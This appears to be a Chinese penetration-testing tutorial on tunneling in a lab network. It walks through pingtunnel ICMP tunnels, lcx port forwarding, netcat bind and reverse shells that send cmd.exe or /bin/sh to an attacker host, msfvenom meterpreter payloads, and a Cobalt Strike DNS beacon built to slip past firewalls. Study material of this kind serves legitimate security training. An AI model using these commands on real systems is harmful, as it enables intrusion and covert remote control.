域横向网络&传输&应用层隧道技术

2844ae82bc7d0eb55a658339b2e8c5f2

  1. 代理和隧道技术区别?
  • 代理只是为了解决网络通信问题,有些内网访问不到,可以用代理实现
  • 隧道不仅是解决网络的通信问题,更大的作用是绕过过滤,突破防火墙/入侵检测系统。
  1. 隧道技术为了解决什么?
  • 防火墙过滤问题、网络连接通信问题、数据回链封装问题
  • 在数据通信被拦截的情况下,可以利用隧道技术封装改变通信协议进行绕过拦截。比如CS、MSF无法上线,数据传输不稳定无回显,出口数据被监控,网络通信存在问题等问题,都可以通过隧道技术解决。
  1. 隧道技术前期的必备条件?
  • 在用隧道之前要先探测对应隧道协议是否支持,如果不支持,用这个隧道也没有任何意义!

隧道原理

  • 在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。

常用的隧道技术有以下三种

  • 网络层:IPv6 隧道、ICMP 隧道
  • 传输层:TCP 隧道、UDP 隧道、常规端口转发
  • 应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道

网络传输应用层检测连通性

隧道有各种层面的,每个层面又分不同协议,你想要用哪个隧道,就需要先确定目标主机是否支持对应隧道协议。比如你想用一个网络层的 ICMP 隧道,这个时候你要去检测目标主机支不支持ICMP隧道的开启。怎么检测呢?可以使用ping命令去ping地址,看能不能正常通信,如果能的话就可以。

  1. TCP 协议
  • 用“瑞士军刀”——netcat,执行 nc 命令:nc <IP> <端口>

参考链接:https://www.runoob.com/linux/linux-comm-nc.html

1
2
nc -vz 192.168.70.145 80		#vz检测TCP端口
nc -vz -w2 192.168.70.145 1-1000 #tcp端口扫描

Snipaste_2023-08-11_17-14-20

Snipaste_2023-08-11_17-19-27

1
2
nc -uz 192.168.70.145 500
nc -uz -w2 192.168.70.145 1-1000
  1. HTTP 协议
  • curl工具:curl <IP地址:端口>
  • 如果远程主机开启了相应的端口,且内网可连接外网的话,就会输出相应的端口信息
1
curl 192.168.70.145:80

Snipaste_2023-08-11_17-21-48

  1. ICMP 协议
  • ping命令:ping <IP地址/域名>
  1. DNS 协议
  • 检测DNS连通性常用的命令是nslookupdig
  • nslookup 是windows自带的DNS探测命令
  • dig是linux系统自带的DNS探测命令

Snipaste_2023-08-11_17-23-33

网络层ICMP隧道ptunnel使用

网上介绍的大部分都是老牌工具,ptunnel工具几年前就没有更新了,不推荐使用。推荐pingtunnel,这个是一直在升级更新的一个工具。

  • 老版本介绍(需自行编译):https://github.com/f1vefour/ptunnel
  • 新版本介绍(二次开发版):https://github.com/esrrhs/pingtunnel
  • pingtunnel是把tcp/udp/sock5流量伪装成icmp流量进行转发的工具.因为tcp、udp、sock5这几个协议受到防火墙和工具的拦截,这个工具就是把这些流量伪装成icmp进行数据传输!
1
2
3
4
5
6
7
8
9
10
11
12
13
新版:
服务端:
./pingtunnel -type server -noprint 1 -nolog 1
客户端:
#这种是正向
./pingtunnel -type client -l 127.0.0.1:5555 -s 192.168.70.145 -t 192.168.80.147:3333 -tcp 1 -noprint 1 -nolog 1
#正向生成木马
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=3333 -f exe > 2.exe

#这种是反向
pingtunnel.exe -type client -l 127.0.0.1:4444 -s 192.168.70.128 -t 192.168.70.128:4444 -tcp 1 -noprint 1 -nolog 1
#反向生成木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=127.0.0.1 lport=4444 -f exe -o icmp.exe

msf上线(反向):

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.70.128
set lport 4444
exploit

Snipaste_2023-08-11_19-54-09

老版:

1
这里环境的话,没搞好

传输层转发隧道Portmap使用

lcx是一个端口转发工具,通过端口转发的形式,将内网服务器的某一个端口映射到公网另一台服务器的一个端口上去!

1
https://pan.baidu.com/s/1EoGZYVejTrBHBAvhndHLuQ  	#提取码:fn9o

环境:

1
2
3
4
5
6
7
8
9
10
受害者内网的主机(无法出网,但是能和内网的主机进行交互):192.168.80.x(内网ip)
受害者内网的主机(跳板,能出网):拥有2个IP地址:192.168.80.x(内网ip)和192.168.70.x(外网ip)
攻击者的外网服务器:192.168.70.128

#目标机器(80.147)
lcx -slave 192.168.80.164 6666 127.0.0.1 3389 //将本地3389给攻击IP的3131
#中间的web机器(拥有两张网卡80.164,70.145)
lcx -listen 6666 7777 //监听6666转发至7777
#攻击机(70.128)
rdesktop 192.168.70.145:7777 #连接拥有两张网卡的机器

Snipaste_2023-08-11_21-11-53

传输层转发隧道Netcat使用

  • netcat工具是windows和linux都能利用,但是用的时候一定要确保nc是最新版,linux是自带这个命令,老版本有的不支持-e这个选项,很多功能会有限制。
  • netcat称为瑞士军刀的原因就是它利用起来非常方便,反弹会话是有很多方式的,可以利用多种协议去实现控制,因为我们在实战过程中会有很多协议被封住被拦截,所以我们要掌握很多种控制的协议,实战中就不会掉链子!
  • netcat使用的是TCP协议,所以如果受害主机没有过滤TCP协议,我们就可以尝试使用nc命令在传输层建立隧道连接实现与控制主机的通信。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
环境准备:kali/web/域控

1.双向连接反弹shell
环境:攻击主机kali(70.128)-->受害主机web(70.145)

正向-攻击连接受害
受害:nc -ldp 1234 -e /bin/sh //linux(把shell会话反弹给1234端口)
nc -ldp 1234 -e c:\windows\system32\cmd.exe //windows(把cmd反弹给1234端口)
攻击:nc 受害主机IP 1234 //主动连接

反向-受害连接攻击
攻击:nc -lvp 1234 //攻击主机监听自己的1234
受害:nc 攻击主机IP 1234 -e /bin/sh
nc 攻击主机IP 1234 -e c:\windows\system32\cmd.exe

什么时候用正向,什么时候用反向?
这是根据网络情况,如果受害主机可以找到你,就用反向,受害主机找不到你,就用正向。

2.多向连接反弹shell-配合转发
环境:kali(70.128)-->hack靶机(70.145、80.164)-->win7(80.147)

反向:
hack靶机:lcx.exe -listen 2222 3333 //把自己的2222端口给3333
win7:nc 192.168.80.164 2222 -e c:\windows\system32\cmd.exe //把cmd反弹给webserver的2222端口
kali:nc -v 192.168.76.143 3333 //连接Webserver的3333端口(获取Sqlserver的cmd窗口数据)

思考:正向该怎么操作呢?实战中该怎么选择正向和反向?

3.相关netcat主要功能测试
指纹服务:nc -nv 192.168.76.143
端口扫描:nc -v -z 192.168.76.143 1-100
端口监听:nc -lvp xxxx
文件传输:nc -lp 1111 >1.txt | nc -vn xx.xx.x.x 1111 <1.txt -q 1
反弹Shell:见上

正向:

Snipaste_2023-08-11_21-18-08

Snipaste_2023-08-11_21-18-04

反向:

Snipaste_2023-08-11_21-19-53

环境:

Snipaste_2023-08-11_21-24-21

首先在hack靶机上使用lcx工具(模拟已经拿到该服务器的控制权了),使其自己的2222端口转发到3333端口上

Snipaste_2023-08-11_21-23-11

然后在win7上执行:

Snipaste_2023-08-11_21-22-59

使其流量转发(cmd)到hack靶机的2222端口

Snipaste_2023-08-11_21-22-51

这时我再去连接hack靶机上的70.145的3333端口,就相当于可以接受到win7弹过来的cmd

应用层DNS隧道配合CS上线

当常见协议监听器被拦截时,可以换其他协议上线,其中dns协议上线基本通杀

云主机上启用udp的53端口,我这里是腾讯云的

Snipaste_2023-08-11_21-31-30

然后在vps上安装cs,配置一下dns

在cs上配置dns时,提示53端口被占用

1
2
3
4
5
netstat -aptn

systemctl stop systemd-resolved
systemctl stop named
关闭之后就成功保存了

Snipaste_2023-08-11_22-23-22

Snipaste_2023-08-11_22-29-38

右击unknown主机,选择interact,启用命令。执行以下命令,等待一会儿就会上线成功

1
2
beacon> checkin
beacon> mode dns-txt

Snipaste_2023-08-11_22-30-57